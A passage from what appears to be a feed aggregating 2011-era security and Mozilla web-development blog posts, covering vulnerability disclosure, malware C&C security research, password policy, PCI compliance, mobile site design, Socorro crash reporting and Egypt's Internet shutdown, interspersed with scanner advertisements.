Note that, from these slides, there is not a lot of detail about exactly how they determine the fakes. However, there is enough to indicate that sophisticated algorithms are less accurate than some fairly simple metrics. When I teach about software forensics (aspects of which are similar to forensic lingusitics, or stylistic forensics), this seems counterintuitive and surprises a lot of students. Generally they object that, if you know about the metircs, you should be able to avoid them. In practice, this doesn’t seem to be the case. Simple metrics do seem to be very effective in both forensic linguistics, and in software forensics.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
We decided to sponsor Read the Docs in a roundabout fashion.
Documentation is important. It helps us understand what it is we’re building, and since everything we do is open source it helps others understand how to use our tools or contribute to us.
Before the Great Python Revolution at Mozilla, we were documenting things in a wiki, and relying on good habits to keep documentation up to date. Good habits are hard to maintain.
Once we started using python extensively, writing things in Sphinx seemed natural. Since a lot of our projects were in GitHub, we wrote a lot of scripts to automatically build our docs and push them into Github Pages. This also suffered from hard to maintain good habits.
We eventually stumbled upon Read The Docs. An open source project that automatically takes your documentation and builds it and hosts it. Slowly we started pushing more and more of our projects to Read the Docs. Suddenly writing documentation started to pay off. Our results were immediately visible, and documentation now became a priority.
So we decided to support Read the Docs by giving them a build server. The architecture at Read the Docs makes it so that they aren’t dependent on our server, but since it’s there it will get use, and it will make building documentation a lot faster and easier. Our hope is that more open source projects will put time and effort into documentation, thus making them easier to use.
So have a look at this amazing project and start writing some docs.
Mozilla is a global non-profit organization that has one mission: to make the web better. The Mozilla web development team is hiring a number of passionate individuals to build web products that promote and support this mission.
Web Product EngineersWe’re looking for 2 individuals who are generalists that have worked the front lines as a web developer, scoped out APIs, architected thorough back-end solutions for web platforms, and sweated bullets at the command prompt during production deployments. The ideal candidates now want to apply that wisdom as a technical project manager for multiple projects, to help bring teams together to craft and deploy scalable web products.
Django DevelopersWe’re hiring 8 individuals who spend significant portions of their life in Github, lay the smack down on co-workers who commit code without tests, and whiteboard algorithms for fun in their spare time. The ideal candidates have significant Python and Django experience, and are excited about the idea of contributing to open source projects like Playdoh.
Django ConsultantsYou may already be happily employed as a consultant, and are looking to put your energies into web products that will reach millions of individuals worldwide. We need individuals and companies to turn to when we simply have too many projects to handle with our in-house staff. Please contact Mike Alexis, our Web Program Manager, at malexis at mozilla.com to put your name in his hat.
Whatever your role, if you’re looking for a job you’ll love and interested in working with fun, brilliant people, we’d like to hear from you. Thanks!
I’m posting some of the research I’ve been working on over the last few months. I planned on submitting some of this research to the Blackhat/DEFCON CFP, but it looks like I’ll be tied up for most of the summer and I won’t be able to make it out to Vegas for BH or DEFCON this year (pour some out and “make it rain” for me). The gist of the research is this: I’ve collected of number of malware C&C software packages. I set up these C&Cs in a virtual network and audited the applications and source code (when available) for bugs. The results were surprising; most of the C&C software audited has pretty crappy security.
This week’s sample is an auth bypass and SQL injection on a BlackEnergy C&C page. The first of the samples can be found here: [software-security.sans.org]
I’ll post more samples in the coming weeks.
Attacking malware C&C is an interesting proposition. Exploiting a single host can result in the transfer of hundreds or even thousands of hosts from one individual to another. I’m not the first to note that malware and C&C software is evolving. Gone are the days of simple IRC bots receiving clear text commands from an IRC server. Today’s C&C’s are full fledged, feature rich applications with much complexity. Complexity is the enemy of security, even malware authors cannot escape this. There is no magic bullet, even malware authors face the difficulties of writing secure code. This is especially so if their customers are paying money for C&C software and demand newer features and robust interfaces. Today’s malware landscape looks much like a typical software enterprise with paying customers, regularly scheduled feature updates, marketing, and a sprinkling of PR. Who knows, maybe in the near future these malware enterprises will have dedicated, on-call security engineering teams and a formal SDL process 
ZDNet has a nice piece on why cheap GPU’s are making strong passwords useless. They are right, of course (though it’s pretty much been that way for 20 years, since the need for /etc/shadow) but they missing the obvious solution to the problem.
The solution is not to make passwords more complex. It’s making them less complex (so that users can actually remember them) and making sure brute force is impossible. We know how to do that, we just have to overcome a generation-old axiom about trivial passwords being easy to break (they are not, if you only get very few tries).
It’s not just cheap GPUs. Complex passwords are also the problem. Simple passwords are the solution.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
So I haven’t written for a while, and that’s mainly because setting up your own security consultancy takes a lot more time that I would have imagined, but hey, it’s been a fun ride so far.
So while everyone else is off writing about Sony, I figured that I’d lighten the mood here with something that I think is such a great idea. The guys at Secure Racing have a challenge coming up, which sounds like it’s going to be great fun, and it’s such a novel idea as well.
So taken directly from the Secure Racing website, here is all the information about the challenge coming up on the 19th June at Brands Hatch.
“Secure Racing, the Information Security industry’s motorsport team, has laid down a challenge to anyone with a flair for code-breaking or a passion for cryptography.
At the team’s first race on 19th June at the Brands Hatch circuit in Kent, the Secure Racing Aston Martin will feature a hidden coded message somewhere within its livery and decals. The question is – can you find it and decipher it?
This is the first time a motorsport team anywhere in the world has offered a competition like this on their car. Developed by the Threats and Vulnerabilities Team at PWC, it forms the basis of a competition for anyone who wants to test their mettle and win fantastic prizes. Anyone can enter.
One week after the race, one winner and nine runners up will be drawn at random from the first 100 correct answers that we receive. Later this year, the lucky winner will get to jump in the Secure Racing Aston Martin Vantage GT4 to experience the exhilarating speed of getting around a circuit alongside a professional race driver. The winner will also get tickets to join the team at the Silverstone British GT Championship round and, along with the nine runners up, they will also receive complimentary membership to the Secure Racing members club – the details of which will be announced on race day.
Anyone who attends the Brands Hatch race on 19th June will have a chance to get up close and personal with our Aston and therefore have the best chance of spotting and cracking the code. For those that can’t make it, we will be posting pictures of the car on our website a couple of days after the race so you can take part.
Those who find and crack our code should email their answer to richard.moss@secureracing.co.uk
Ladies and gentlemen – the fun begins here. Start your engines, the Secure Racing story is about to begin.
Discounted admission tickets available exclusively for Secure Racing fans at: www.motorsportvision.co.uk/secracing“
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
It’s amazing to compare how the Microsoft Security Response Center handles vulnerability disclosures versus how things were just 10 or 12 short years ago.
Here’s a typical disclosure process 10 years ago (based on a very true story):
Us: (sending an email to secure@microsoft.com) we’ve discovered a vulnerability in an office product. Here are the technical details. Can you confirm the issue and let us know when it’s patched?
Microsoft: Thanks for reporting, bla bla, we’ll get back to you soon
[about a week passes]
Us: Hi MSRC, any news about our office vulnerability?
[no reply]
[Sending a personal email to an MSRC friend to speed things up]
Microsoft: Oh, thanks for reminding us. We’ll check with the office team
[another few days pass]
Us: Hello? Anybody there?
Microsoft: Oh, yes. That vulnerability thing. Here’s what we decided: (a) It’s not a vulnerability. (b) it’s not a problem with the office product but with the world (or the RFC) (c) The office team can’t recreate it (d) even if the vulnerability was real, it wouldn’t be exploited in real world scenarios
Us: are you kidding us? Did you actually look at the sample code we gave you?
[a few days pass. We are pondering if to go complete full disclosure or give them time to digest]
Microsoft: Ok, this time we actually read your advisory and yes, it seems to work. But it’s just a denial of service. Nobody will ever exploit it because of … [something that heap spraying/DEP bypass/code mutation made look ridiculous about a year later]
Us: [starting the get mad] look guys. We sent you PoC code. You actually want us to write an exploit code for you?
Microsoft: yes, that would help convince our developers
[Us, spending time writing code so that Microsoft is convinced to fix their own products based on free information while wasting our precious time]
Us: here it is
Microsoft: oh, wow, it really does run code. Ok, we’ll fix it in the next release cycle which should be right after the democratic primaries of 2012.
Us: Ok, forget it. We’re going full disclosure
Microsoft: no, wait wait wait. We found your name on the world wide web and now realize you’re legit. Ok, we’ll fix it. Happy now? We might even mention your name in our advisory if/when that happens.
If it sounds familiar, that means you were disclosing vulnerabilities to vendors in the early 2000’s or late 1990’s. If you think I’m exaggerating, it’s only because you didn’t.
But here’s the amazing thing. Just a few years later, some radical changes started to happen. The big dysfunctional dinosaur that was MSRC became an efficient, friendly and if I didn’t know it, I would think it’s a different company altogether. Here’s a real recent discussion:
Us: Hello MSRC, here’s information about an office vulnerability
Microsoft: Hi, thanks for reporting. I checked the information, went over the sample code and have some technical questions [some intelligent questions here, basically they are doubting the findings but being really careful to check all the angles first]
[technical discussion continues for a couple of days with questions and answers going back and forth]
Microsoft: Ok, we get the picture now. Thanks for reporting. Here’s the guy that is going to be responsible for your case.
[a few days pass]
Microsoft: Ok, we now know it’s a […] vulnerability and not a […] one. We’ll pass it to the relevant team, just wanted to keep you posted
[further proactive updates and niceties continue until disclosure time. Credits, the end.]
What could have possibly caused this radical change that made MSRC focus on the technical side instead of the PR, not to mention being so research-friendly? New team? New procedures? Full disclosure forced them to see the truth? Too many beers at defcon finally showed them the light? Whatever they are taking, I wish they could spread some around. Most of the other vendors could use that. Yes, I’m looking at you Google.
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
This is the second in a series of four posts on different approaches to mobile web development. For an overview of what it means to be mobile friendly, check out the previous post.
The Good
The first option I’ll discuss is the one that is the most popular by far: use user-agent detection to route users on phones to a separate mobile site, typically at m.example.com. In a nutshell, this technique uses server-side logic to solve all three goals of mobile web development at once – if the user’s browser looks like it’s on a phone, you serve them mobile content, formatted for their phone and optimized for speed.
Conceptually simple, this is the easiest option to add to an existing site, especially if you are using a CMS or Web application that supports templates. Since only the mobile-specific content, styles, and scripts will be sent to mobile users, this method also provides for the best performance out of any of the other options presented here. Finally, it also allows for completely different user experiences on desktop and mobile – they’re two different sites, after all!
The Bad
Unfortunately, this approach is not without its drawbacks. For starters, you are now maintaining two different pages for every page on your site that you would like to expose to mobile users. If you are using a CMS, is possible to arrange your site templates in a way that minimizes this duplication, but any time that there is a difference between the mobile and desktop templates is a potential source of complication in your code. Similarly, this increases the implementation time of any new site features, since you must now code two sets of front-end logic.
Even more important than that, though, is the fact that user-agent detection is inherently flawed, and anything but future-proof. Every time a new browser comes out you must adjust your algorithm to accommodate it. And false positives are particularly scary – it could be embarrassing to serve desktop users your mobile site accidentally.
When it is Right to Choose This Option 
Firstly, if your target audience includes users on older or low-end feature phones it is worth noting that you may need to employ this strategy to some degree no matter what. This is because the default browsers on some feature-phones do not support consumption of the same markup you would code a website targeted at desktop with, but instead understand formats like XHTML-MP or the older WML.
This aside, in my mind there is one case where this strategy really shines over other methods. If the functionality you would like to provide to your users on mobile devices is extremely different from that on a desktop, then using Separate Sites is simply likely to be the most practical choice. This is because you have the option of sending completely separate HTML, JavaScript, and CSS to phones and PCs.
Another case where you may be forced to use this approach is if you cannot, for whatever reason, modify your existing desktop site, and need to have a 100% separate mobile site. Though it’s not ideal, at least you have this option.
Examples
Most of the major web apps you see in the wild have chosen this path, including Facebook, YouTube, Digg, and Flickr. In fact, we picked this strategy for the mobile versions of addons.mozilla.org (AMO) and support.mozilla.org (SUMO). If you’d like to see the source code behind an example of this approach in action, feel free to check out the github repository for AMO or SUMO.
Next Week
If you’re unhappy with the drawbacks of the Separate Sites technique, stay tuned for next week, and we’ll take a look at one alternative – Responsive Design.
On April 29th, 2011, the Web Production team presented some of the changes that have been made recently to help us improve the way we build and launch websites at Mozilla. The talk was focused on bringing Mozilla employees up to speed with these changes. Topics covered included:
Your browser does not support the video element.
The processes described are intended for new projects run by the Web Production group. The process documentation is still being added to and updated, and can be found at:
[https:]
For more information about the Web Production group, please visit:
[https:]
tl;dr
There is a gap between the Mozilla organization and its community. Mozilla community members have ideas in which they would like to create sites / services that should be built by Mozilla. However, Mozilla employees do not have the bandwidth to bring those solutions to fruition.
This is a proposal for Mozilla to create an incubator program that would enable Mozilla community members to create sites and services under a separate brand. This program would detail a clear path for how successful community-incubated projects can be officially adopted by the Mozilla organization.
Mozilla Branches
Mozilla has a few entities that serve as umbrellas for various mission-driven endeavors:
Mozilla Labs is an incubator of sites and services driven by Mozilla employees. Examples include Sync and Raindrop.
Mozilla Community Services is a set of approved website-building packages that enable a community member to build out a website that serves their local Mozilla community. Examples include the Mozilla Hungarian Community Site and the Mozilla Catalan Community Site.
Drumbeat is a community of open web innovators who want to share their sites and services with others and to connect with like-minded individuals. Examples include Hackasauraus and School of Webcraft.
The Problem
The Mozilla organization promotes openness, innovation and participation on the Internet. It is a non-profit organization with over 40,000 community members that volunteer their time to help further the Mozilla mission. When Firefox 4 launched, it did so with the support of 82 languages, all of which had been localized by volunteer translators around the world.
The Mozilla community is vast, and has a number of problems it faces in organizing itself to support the Mozilla mission with the best of its ability. It has identified a number of these problems, and has approached the Mozilla organization with these solutions. However, the Mozilla organization does not have available staff members to bring these ideas to fruition.
In the past, Mozilla community members would just create their own site / service as a solution to this problem. But we’ve recently started to increase the requirements for Mozilla-branded endeavors in order to protect the security and privacy of people who are users of these products.
For example, for each website there are multiple teams that will review each website before it is launched. The Web Development team will review all code written by both internal and external developers. The Legal team reviews privacy policies and collected data to ensure that the users rights are clearly stated and guaranteed. The Security team will test the site for XSS and CSRF attacks and SQL injections, and has put a bug bounty into effect for existing websites. The QA team ensures that all aspects of the site are in working order, and creates automated tests to periodically review the state of the site.
Recently, the community-developed project Mozilla Reps was launched, and then unfortunately it was promptly taken offline. It used Mozilla branding on the site but it had not gone through this review process by the internal Mozilla Legal, Web Dev, IT, QA and Security teams.
For a community member who wants to develop a Mozilla-branded site / service, there’s currently no program that shows a clear path to becoming an official Mozilla product, and there are too many hoops to jump through in order to launch a new site / service. But we need to find a way to enable community members to incubate an idea for Mozilla with a low barrier to entry.
Community Incubation
Mozilla needs to create a new incubator program that will enable individuals to create a new site / service that should eventually by adopted by the Mozilla organization, while clearly distinguishing that this solution is not an official Mozilla endeavor.
This incubator needs a separate brand name, and one which inherently details an evolutionary path towards becoming an official Mozilla endeavor.
One of the analogies that we have been tossing around is based on frogs, where a young frog is called a tadpole, but there is an assumed evolutionary path towards its becoming a frog when it grows into adulthood. Austin King‘s idea is to call this the Lizard Incubator, where a lizard is the most easily identifiable representation of a young dinosaur.
This separate brand will enable the community members to quickly boot up sites / services without having to pass through the Mozilla gauntlet to get that site / service approved. They can use the badges associated with this brand to label the site / service as an experiment that could potentially have security flaws or privacy concerns, an acknowledgement that any user of the site should use that site / service at their own risk, meanwhile safeguarding the Mozilla brand.
This incubator could cover any new site or service that is created by a Mozilla community member, and could even be a Mozilla employee’s pet project.
There are a few side projects that were developed by Mozilla employees, like Pulse and Badger, that could stand to run through a separate brand until fully developed enough to become an official Mozilla project.
And a good example of a community-led project that would have benefited from this branding is David Tenser‘s Phoenix support site, which provided the impetus for SUMO.
With this separate brand, the community will once again be able to be true incubators of Mozilla solutions, unshackled by the confines of Mozilla regulations.
Incentives
With the new Incubator program, what the Mozilla community lacks is a real incentive to develop new sites and services under this brand, because it won’t be branded as an official Mozilla site / service. But, we must communicate to the community members what the incentive is to solve the problems they are facing as Mozilla community members.
The program will need to identify a clear path to graduation, where a community-built site / service will be adopted as an official Mozilla site / service.
I’ll propose this idea: On a quarterly basis, a Mozilla committee would review all community-built sites / services that have been branded as being part of the incubator program. The committee would identify all of the sites / services that were successful endeavors, whether that’s seen as a site / service that was a brilliant solution to an identified problem or a project that was adopted and used by other community members. At the end of the nomination process, the committee would agree on 2 to 3 sites / services that would be brought into the Mozilla organization as official Mozilla sites / services.
For example, a community member might build a successful website that was nominated and accepted by the Mozilla committee for adoption. In this case, the Mozilla Web Development team would drive the process of writing specifications for that site and would commence rebuilding that site atop Playdoh. They would engage the product owners to help oversee the development of the site, and shepherd the site through the review process by Mozilla teams.
Upon the official launch of the site, the original team who built the community site / service would be flown into California, and would be introduced to the rest of the Mozilla community at the company meeting in the Mountain View office on Monday morning. These individuals would be celebrated as true innovators for the Mozilla organization.
And if there are particular members of the original community team who stood out, those individuals would be considered as people Mozilla could bring aboard as full-time employees.
This blog post is the outcome of a series of lightning talks and pub sessions during the Mozilla all-hands gathering April 4th through April 8th, 2011, and is the evolution of the work David Boswell has done around the Mozilla family of brands and Austin King’s Mozilla Beta program blog post.
A few months ago we founded an experimental new “rapid web development” team at Mozilla. Its purpose was to take care of a growing number of short- to medium-term web projects at Mozilla. We nicknamed it the “Flux” team (for its ability to maintain a higher throughput of projects while reducing the overhead of individual projects).
The team focused on two areas in particular:
The experiment proved successful: Together with a number of internal and external groups, Flux successfully released more than a dozen projects of varying size around the release of Firefox 4 and Firefox 4 mobile.
But along the way it became apparent that the two focus areas mentioned above are different and challenging enough to stand on their owns, so we rearranged the group accordingly, spawning the Web Productions team (led by Ryan Snyder) and the (new) Flux Development Team (led by me, Fred Wenzel).
The web productions team will continue to run Mozilla-internal web projects, but has also branched out into fostering community-sourced projects and similar endeavors.
In the Flux Development group, I am working with a team of (so far) three excellent engineers (Dave Dash, James Long, and Anthony Ricaud) on web development for various parts of the Mozilla community.
The Flux team will be working on:
Say hi to the new Flux and Web Producers teams!
At the BC ISMS User Group meeting last week we were concentrating on the relationship between the ISO 27000 family of standards, and the PCI-DSS (Payment Card Industry Data Security Standards, usually just known as PCI). PCI-DSS is of growing concern for pretty much anyone who does online retail commerce (and, come to that, anyone who does any kind of commerce that involves any use of a credit card).
It kind of crystalized some ideas that I’ve been mulling over recently.
Over the past year or so, I’ve been examining some situations for small charitable organizations, as well as some small businesses. Many would like to sell subscriptions, raffle tickets, accept donations, or sell small, specialty items over the net. However, I’ve had to consistently advise them that they do not want to get involved with PCI: it’s way too much work for a small company. At the same time, most small Web hosting providers don’t want to get involved in that, either.
The unintended end result consequence of PCI is that small entities simply cannot afford to be involved with credit cards anymore. (It’s kind of too bad that, a decade ago, MasterCard and Visa got within about a month of releasing SET [Secure Electronic Transactions] and then quit. It probably would have been perfect for this situation.)
Somewhat ironically, PCI means a big boost in business for PayPal. It’s fairly easy to get a PayPal account, and then PayPal can accept credit cards (and handle the PCI compliance), and then the small retailer can get paid through a PayPal account. So far PayPal has not created anything like PCI for its users (which is, again, rather ironic given the much wilder environment in which it operates, and the enormous effort phishing spammers make in trying to access PayPal accounts.) (The PayPal Website is long on assurances in terms of how PayPal secures information, and very short on details.)
This is not to say that credit cards are dead. After all, most PayPal purchases will actually be made with credit cards: it’s just that PayPal will handle the actual credti card transaction. Even radical new technologies for mobile payments tend to be nothing more that credit card chips embedded in something else.
These musings, though, did give a bit more urgency to an article on F-commerce: the fact that a lot of commercial and retail activity is starting to happen on Facebook. Online retail transactions aren’t new. They aren’t even new in terms of social networks or a type of currency created within an online system. Online game systems have been dealing with the issue for some time, and blackhats have been stealing such credits and even using them to launder money for a number of years now. However, the sheer size of Facebook (third largest “national population” in the world), and the fact that that entire population is (by selection) quite affluent means that the new Facebook credit currency may very quickly balloon to an enormous size in relation to other currencies. (We will leave aside, for the moment, the fact that I personally consider Facebook to be tremendously divisive to the Internet as a whole. And that Facebook does not have the best record in terms of security and privacy.) Creation of wealth, ex nihilo, on a very, very large scale. What are the implications of that?
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
As readers of my blog posts know, Socorro is Mozilla’s crash reporting system. All of the code for Socorro (the crash catcher) and Breakpad (the client side) is open source and available on Google Code.
Some other companies are starting to use Socorro to process crashes. In particular, we are seeing adoption in the gaming and music sectors – people who ship connected client software.
One of these companies is Valve Software, the makers of Half Life, Left 4 Dead, and Portal, among other awesome games. Recently Elan Ruskin, a game developer at Valve, gave a talk at the Game Developers Conference about Valve’s use of crash analysis. His slides are up on his blog and are well worth a read.
If you’re thinking about trying Socorro, I’d encourage you to join the general discussion mailing list (or you can follow it on Google Groups). It’s very low traffic at present but I anticipate that it will grow as more people join.
Later in the year, we plan on hosting the first inaugural Crash Summit at Mozilla, where we’ll talk about tools, crash analysis, and the future of crash reporting. Email me if you’re interested in attending (laura at mozilla) or would like to present. The event will be open to Mozillians and others. I’ll post updates on this blog as we develop the event.
Perhaps you’ve encountered a new Mozilla Webdev beast… the project Steward. What is a Steward? What can I expect from them?
Web development work is done in three different places:
The role of a steward is to make sure a project is technically sustainable. Webdev is often the first point of entry into all the technical aspects of Mozilla Corporation’s systems. Our goal is to facilitate this process and make sure a project is sustainable for us, QA, operations, and security.
How?
The Webdev team has documented many of our standards and guidelines. A steward shares these as well as QA and security’s standards with the development team.
We provide code review. We’ll make sure we can install and run the app once, so it’s ready for QA and Operations. We look at what infrastructure is required.
We help in filing all the various bugs and navigating Mozilla’s process.
So What?Our team has inherited many projects that aren’t sustainable. These projects may have had serious security issues, or were written using a framework that our team didn’t support. These had to be rewritten or are still limping along. With our new web development guidelines, we share what the acceptable infrastructure, programming environments, and practices are today.
We cannot accept arbitrary software into our eco-system without slowing all of Mozilla down.
Ask a web developer to build a feature “Member since X” widget on their current toolkit and it will be a routine task. Asking them to build this widget on top of Tiki-wiki plus Drupal site which does authentication and profiles via SOAP (on Tuesdays, other days it’s done via XML-RPC). Development will take 5x as long and will be buggy. It will take QA much longer to test. It will take operations much longer to deploy. Security will find many issues with the basics of the project (even if the new feature is issue free) resulting in several weeks of work for all teams. Wait… all you wanted was the “member since” widget. Yikes.
Why Stewards?
Mozilla’s power to weight ratio is amazing. Our entire team is under 30 people while Mozilla has over 100 websites. Our flux team is 4 people strong with 17 projects in flight.
Stewards are Mozilla’s leverage.
Some projects have 0 hours of official Webdev staff allocated. By assigning a Steward to a project in need, we can be there for the high-level decisions and help make successful, sustainable projects.
Thoughts?It is a new role and we’re improving the process via feedback from projects.
When I was a teenager, back when dinosaurs ruled the earth, and Disneyland was the only Disney amusement park, I was taken to said theme park for the first time. I was immediately struck by the total artificiality of the place, and the fact the everybody wanted it to be so. For some reason I could not get the idea out of my mind, that if you dug a pit, entrenching sharpened stakes on the floor of it, and put ropes up to manage the line, people would line up and jump in.
I was forcibly reminded of this by a story about the coverage of the Japanese quake and tsunami, and the use of smartphones and social media to document the event and disseminate the information as never before. We are used to “reality” television which is completely unreal, and an unusual reality strikes us as fantastic.
And I’d like to reiterate my advice to prepare for the next disaster: get trained in emergency management and response.
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
CanSecWest was fun, met a lot of people researchers, consultants and customers. Lot of them came to hear good quality lectures and I believe they have found them.
Quite a few came to see the buzz around Pwn2Own and I don’t think they could have missed the shouts of victory and the press eagerly interviewing them after their triumphant wins. I also had a chance to meet a few of our SSD researchers which shared some thoughts on the Pwn2Own even highligting the fact that 15K isn’t that much anymore for a IE8 vulnerability that can bunk its protected mode, or get you elevated privileges on the Chrome browser - I have to agree on that. This probably means there are a few chrome 0-days out there, but they are simply being sold for larger amounts of money.
Also got a chance to talk to a few of the mobile researchers that were quite impressed with the BlackBerry find, highlighting how ground breaking that was, as being the first publicly done and documented breach into the BlackBerry “fortress” - I am not sure if it is in fact the first one but it was impressive none-the-less.
For all those that came and talked to us in our booth about the SecuriTeam Secure Disclosure, just in case you didn’t write it down, the way to reach our program is by emailing SSD@beyondsecurity.com, we also offer our existing researchers a 1,000 USD bring-a-friend offer - if you need more details email me.
Thanks,
Noam
noamr[]beyondsecurity[@]com
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
The review of the Mac functions in my little book is sometimes annoying in terms of the jargon used: does “go straight to the corresponding window” mean that the window becomes active, or comes to the foreground? Does it open a window if it doesn’t exist? Does it relate to programs, or just folders? You need to work through the material with the book in one hand, and the Mac under the other. (This process is not aided by inconsistencies in the operation of the Mac itself. As I was working through this content I tried to create a new document from within the TextEdit program, and found that I did not have any options to create a file in any of the new folders I had established previously. Later in the chapter there was mention of dragging folders to the Dock, and so I tried that to see whether it would allow me to use that folder. Lo and behold, now I could create files in any of the new folders I had made, not just the one I dragged to the Dock. Handy for my purposes, but not very informative in terms of why it worked that way.)
(More inconsistency: hiding the Finder behaves differently from other applications. And hiding used with Expose can give you some very … interesting effects. So far I have not had the nerve to play with hiding, Expose, and Spaces all at the same time.)
One of the constant claims made by Mac devotees is that the Mac is better at media. Well, over the past couple of weeks we’ve had occasion to try and watch a couple of TV shows over the Internet. (Once we just forgot: once the cable went out in the middle of the show.) Since the current desktop is seven years old, I figured that the Mac should be given a chance to prove its worth and strut its stuff. We watched one show on the desktop, and one on the Mac.
Mac: total FAIL. Choked, gasped, stopped for no apparent reason (no, it wasn’t the net feed dying: it skipped a bunch of the show, and went to the next series of ads), would not respond to commands, and overall a general lack of “good viewing experience.” The old desktop was grinding away with the fan running full out most of the time, but at least it played the show all the way through.
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
Commentators are now agreeing with what I wrote two weeks ago. It’s now clear there is simply no way to effectively shut down the Internet.
Typically, this is where the skynet references come in, except that this version of skynet is not a computer brain, it’s the sum of you and me and the other human users. The People’s republic of the Internet, if you will.
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
Well, I don’t know if this is a continuation in the “new computers” series, or just rehashing an old problem.
I’ve noted before the problem of the complexity of trying to establish an ad-hoc network under Windows. And, I’m trying various things with the new Mac. So, in a situation, right now, where I have one network cable, and two computers downstairs, I decided to see what an ad hoc network was like with a Mac.
I remembered to do the bridging thing on Windows, and I’ve set up an ad hoc network with a pre-shared key. (At least, I think I have. That seemed to be the way it worked, and the Mac connected with a password, but, on the Windows machine, when I go back and look at it, it says it’s open.) The Mac wouldn’t show the network when I looked at the list, but, when I gave it the name and password it seemed to connect just fine.
I got a Web site correctly on the Mac. Then I went to connect to the Windows machines as servers, and that worked out fine. Then I went to do some work on the Web, and … nothing. The Mac wasn’t able to get onto the Internet. I was still connected to the Windows servers, but couldn’t get a Web page.
And, then, suddenly, I could, again. And then I couldn’t. (At the moment, I can’t.) (Sorry, started working again just before I finished this entry.)
I’ll have to give it a shot with the Mac connected to the cable, and see if I can set up an ad hoc wireless connection that the Windows netbook can use, but, at the moment, Mac networking is not working any better than Windows in the ad hoc environment.
Roll on PopulistNet.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
About an hour ago, we started to be very annoyed by a helicopter circling overhead. It was starting to get dark, and, when I saw it, it didn’t have anything particular in the way of searchlights on.
So, I got onto Twitter and started looking up items. It was just after peak for rush hour, so I checked [twitter.com] They didn’t have anything showing in our area, so it wasn’t their chopper.
I “follow” a number of news media, some in the local area. Didn’t take too long before I hit [twitter.com] (It must be their helicopter. They got three usable pictures, and kept the thing up there for over an hour. I guess it’s a slow news day, locally.) Since the murder is nearby, we recognized the location. In fact, from the pattern of identifiable stones, I was able to pinpoint the location as [is.gd] It’s about a block from our church. (The youth group is meeting tonight.) Subsequently, there were other reports from other sources.
(Like [bit.ly]. Yeah, you could probably say that this is suspicious.)
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
Reports are saying cell phones and Internet connections are off in egypt at the moment. Can a country really shut off its Internet connection?
China, who has placed restrictions on its Internet infrastructure from day 1 (meaning, the whole infrastructure for connecting to the Internet was built with government control in mind) and that develops a lot of its own networking equipment, is unable to really block users. When I’m in China, twitter and facebook are blocked in the hotel and in the office, but not on the blackberry. Most anonymizers work, and some twitter-over-instant messenger bots work as well. Most of the time, I can find the new list of working anonymizers on google, while I’m there - so there’s no special preparation involved. On my last visit I was introduced to a free VPN service that enables unrestricted access to facebook, twitter and other blocked sites, that seems to be quite popular in the country.
Egypt is not as big and certainly not as advanced as China, but is fairly big. As anyone who worked for a large company knows - it’s difficult if not impossible to track all incoming and outgoing connections. We know the DNS servers are refusing to resolve .eg domains - but what if we go into the inner-works. Are some of the IP’s inside Egypt reachable?
One glaring example is the Egyptian stock exchange. Its IP rotates, but at least some connections point to 217.139.183.2, which belongs to the ISP “the Noor group”, in Cairo. Other times it points to 41.222.175.2 that belongs to “Misr Information Services and Trading” in down-town Cairo. Both are clearly reachable and pingable; is every router on the way configured to route communication only to those IPs? Are there other routers, IP’s or servers that are still open for communication? I would imagine that some emergency lines run on IP-based infrastructure that must be kept on; some devices - military ones perhaps - might rely on IP infrastructure. Dial-ups might still exist. Speaking of which: can one dial from Egypt into a modem in Germany?
Also, one has to wonder about internal communication. Blocking the country’s gateways is one thing; but blocking all internal communication is extremely hard to do. If internal communication is available, is there a way to piggyback into those few holes in the dam to get external communication? Taking the egyptse.com example: if the perimeter routers only allow communication to/from the Noor network, can I route my connection through them?
We all know the Internet was designed to be resilient; and forty years after its initial deployment, it’s proving to be very hard to kill, even by those who believe they have their hand on the cut-off switch.
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
As per my previous blog post, we migrated Socorro to the new data center in Phoenix successfully on Saturday.
This has been a mammoth exercise, that sprang from two separate roots:
Around that time we also had difficulty with Socorro stability. This spawned the creation of a master Socorro Stability Plan, with six key areas. I’ll talk about each of these in turn.
Improve stabilityHere, we solved some Hbase related issues, upgraded our software, scheduled restarts three times a week and, most importantly, sat down to conduct an architectural review.
The specific HBase issue that we finally solved had to do with intra-cluster communication. (We needed to upgrade our Broadcomm NIC drivers and kernel to solve a known issue when used with HBase. This problem surfaces as the number of TCP connections growing and growing until the box crashes. Solving this removed the need for constant system restarts.)
Architectural improvementsWe collect incoming crashes directly to HBase. We determined that as HBase is relatively new and as we’d had stability problems, that we should get Hbase off the critical path for production uptime. We rewrote collectors to seamlessly fall back to disk if HBase was unavailable, and for them optionally to use disk as primary. As part of this process, the system that moves crashes from disk to HBase was replaced. It went from single threaded to multi-threaded, which makes playing catchup after an HBase downtime much much faster.
We still want to put a write through caching layer in front of HBase. This quarter, the Metrics team is prototyping a system for us to test, using Hazelcast.
Build processWe now have an automated build system. When code is checked into svn, Hudson notices, creates a build and runs tests. This build is then deployed in staging. Now we are on the new infrastructure, we will deploy new releases from Hudson as well.
Improved release practicesWe have a greatly improved set of release guidelines, including writing a rollback plan for every major release. We did this as part of the migration, too. Developers now have read only access to everything in production: we can audit configs and tail logs.
The biggest change here, though, is switching to Puppet to manage all of our configurations. Socorro has a lot of moving parts, each with its own configuration, and thanks to the fine work by the team, all of these configurations are automatically and centrally managed and can be changed and deployed at the push of a button.
Improved insight into systemsAs part of the migration, we audited our monitoring systems. We now have many more nagios monitors on all components, and have spent a lot of time tuning these. We also set up ganglia and have a good feel for what the system looks like under normal load.
We still intend to build a better ops dashboard so we can see all of these checks and balances in one place.
Move to bigger, better hardware in PHXThis one is the doozy. Virtually all Socorro team resources have been on this task full time since October, and we managed to subsume half of the IT/Ops team as well. I’d like to give a special shout-out here to NetOps, who patiently helped with our many many requests.
